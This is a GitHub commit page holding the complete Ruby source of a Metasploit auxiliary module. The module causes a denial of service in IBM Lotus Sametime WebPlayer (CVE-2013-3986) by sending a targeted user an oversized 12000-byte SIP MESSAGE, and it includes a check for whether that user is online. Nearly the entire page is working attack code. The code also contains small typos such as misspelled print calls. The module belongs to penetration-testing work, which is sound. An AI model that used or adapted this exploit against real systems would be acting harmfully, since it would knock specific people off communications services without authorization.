Skip to content

Commit ac52eda

Browse files
committed
Land rapid7#2801, Land @kicks4kittens IBM Sametime modules
2 parents 3a66267 + 30c325c commit ac52eda

File tree

4 files changed

+1052
-0
lines changed

4 files changed

+1052
-0
lines changed
Lines changed: 235 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,235 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::Tcp
11+
include Msf::Auxiliary::Dos
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'IBM Lotus Sametime WebPlayer DoS',
16+
'Description' => %q{
17+
This module exploits a known flaw in the IBM Lotus Sametime WebPlayer
18+
version 8.5.2.1392 (and prior) to cause a denial of service condition
19+
against specific users. For this module to function the target user
20+
must be actively logged into the IBM Lotus Sametime server and have
21+
the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a
22+
browser extension. The user should have the WebPlayer plug-in active
23+
(i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.
24+
},
25+
'Author' =>
26+
[
27+
'Chris John Riley', # Vulnerability discovery
28+
'kicks4kittens' # Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'Actions' =>
32+
[
33+
['DOS',
34+
{
35+
'Description' => 'Cause a Denial Of Service condition against a connected user'
36+
}
37+
],
38+
['CHECK',
39+
{
40+
'Description' => 'Checking if targeted user is online'
41+
}
42+
]
43+
],
44+
'DefaultAction' => 'DOS',
45+
'References' =>
46+
[
47+
[ 'CVE', '2013-3986' ],
48+
[ 'OSVDB', '99552' ],
49+
[ 'BID', '63611'],
50+
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ],
51+
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ]
52+
],
53+
'DisclosureDate' => 'Nov 07 2013'))
54+
55+
register_options(
56+
[
57+
Opt::RPORT(5060),
58+
OptAddress.new('RHOST', [true, 'The Sametime Media Server']),
59+
OptString.new('SIPURI', [
60+
true,
61+
'The SIP URI of the user to be targeted',
62+
'<target_email_address>@<sametime_media_server_FQDN>'
63+
]),
64+
OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0])
65+
], self.class)
66+
67+
end
68+
69+
def setup
70+
# cleanup SIP target to ensure it's in the correct format to use
71+
@sipuri = datastore['SIPURI']
72+
if @sipuri[0, 4].downcase == "sip:"
73+
# remove sip: if present in string
74+
@sipuri = @sipuri[4, @sipuri.length]
75+
end
76+
if @sipuri[0, 12].downcase == "webavclient-"
77+
# remove WebAVClient- if present in string
78+
@sipuri = @sipuri[12, @sipuri.length]
79+
end
80+
end
81+
82+
def run
83+
# inform user of action currently selected
84+
print_status("#{peer} - Action: #{action.name} selected")
85+
86+
# CHECK action
87+
if action.name == 'CHECK'
88+
print_status("#{peer} - Checking if user #{@sipuri} is online")
89+
if check_user
90+
print_good("#{peer} - User online")
91+
else
92+
print_status("#{peer} - User offline")
93+
end
94+
return
95+
end
96+
97+
# DOS action
98+
print_status("#{peer} - Checking if user #{@sipuri} is online")
99+
check_result = check_user
100+
101+
if check_result == false
102+
print_error("#{peer} - User is already offline... Exiting...")
103+
return
104+
end
105+
106+
# only proceed if action is DOS the target user is
107+
# online or the CHECKUSER option has been disabled
108+
print_status("#{peer} - Targeting user: #{@sipuri}...")
109+
dos_result = dos_user
110+
111+
if dos_result
112+
print_good("#{peer} - User is offline, DoS was successful")
113+
else
114+
print_error("#{peer} - User is still online")
115+
end
116+
117+
end
118+
119+
def peer
120+
"#{rhost}:#{rport}"
121+
end
122+
123+
def dos_user
124+
length = 12000 # enough to overflow the end of allocated memory
125+
msg = create_message(length)
126+
res = send_msg(msg)
127+
128+
if res.nil?
129+
vprint_good("#{peer} - User #{@sipuri} is no responding")
130+
return true
131+
elsif res =~ /430 Flow Failed/i
132+
vprint_good("#{peer} - DoS packet successful. Response received (430 Flow Failed)")
133+
vprint_good("#{peer} - User #{@sipuri} is no longer responding")
134+
return true
135+
elsif res =~ /404 Not Found/i
136+
vprint_error("#{peer} - DoS packet appears successful. Response received (404 Not Found)")
137+
vprint_status("#{peer} - User appears to be currently offline or not in a Sametime video session")
138+
return true
139+
elsif res =~ /200 OK/i
140+
vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)")
141+
vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer")
142+
return false
143+
else
144+
vprint_status("#{peer} - Unexpected response")
145+
return true
146+
end
147+
end
148+
149+
# used to check the user is logged into Sametime and after DoS to check success
150+
def check_user
151+
length = Rex::Text.rand_text_numeric(2) # just enough to check response
152+
msg = create_message(length)
153+
res = send_msg(msg)
154+
155+
# check response for current user status - common return codes
156+
if res.nil?
157+
vprint_error("#{peer} - No response")
158+
return false
159+
elsif res =~ /430 Flow Failed/i
160+
vprint_good("#{peer} - User #{@sipuri} is no longer responding (already DoS'd?)")
161+
return false
162+
elsif res =~ /404 Not Found/i
163+
vprint_error("#{peer} - User #{@sipuri} is currently offline or not in a Sametime video session")
164+
return false
165+
elsif res =~ /200 OK/i
166+
vprint_good("#{peer} - User #{@sipuri} is online")
167+
return true
168+
else
169+
vprint_error("#{peer} - Unknown server response")
170+
return false
171+
end
172+
end
173+
174+
def create_message(length)
175+
# create SIP MESSAGE of specified length
176+
vprint_status("#{peer} - Creating SIP MESSAGE packet #{length} bytes long")
177+
178+
source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1)
179+
source_host = Rex::Socket.source_address(datastore['RHOST'])
180+
src = "#{source_host}:#{datastore['RPORT']}"
181+
cseq = Rex::Text.rand_text_numeric(3)
182+
message_text = Rex::Text.rand_text_alphanumeric(length.to_i)
183+
branch = Rex::Text.rand_text_alphanumeric(7)
184+
185+
# setup SIP message in the correct format expected by the server
186+
data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n"
187+
data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n"
188+
data << "Max-Forwards: 80\r\n"
189+
data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n"
190+
data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n"
191+
data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n"
192+
data << "CSeq: #{cseq} MESSAGE" + "\r\n"
193+
data << "Content-Type: text/plain;charset=utf-8" + "\r\n"
194+
data << "User-Agent: #{source_user}\r\n"
195+
data << "Content-Length: #{message_text.length}" + "\r\n\r\n"
196+
data << message_text
197+
198+
return data
199+
end
200+
201+
def timing_get_once(s, length)
202+
if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0
203+
return s.get_once(length, datastore['TIMEOUT'])
204+
else
205+
return s.get_once(length)
206+
end
207+
end
208+
209+
def send_msg(msg)
210+
begin
211+
s = connect
212+
# send message and store response
213+
s.put(msg + "\r\n\r\n") rescue nil
214+
# read response
215+
res = timing_get_once(s, 25)
216+
if res == "\r\n"
217+
# retry request
218+
res = timing_get_once(s, 25)
219+
end
220+
return res
221+
rescue ::Rex::ConnectionRefused
222+
print_status("#{peer} - Unable to connect")
223+
return nil
224+
rescue ::Errno::ECONNRESET
225+
print_status("#{peer} - DoS packet successful, host not responding.")
226+
return nil
227+
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
228+
print_status("#{peer} - Couldn't connect")
229+
return nil
230+
ensure
231+
# disconnect socket if still open
232+
disconnect if s
233+
end
234+
end
235+
end

0 commit comments

Comments
 (0)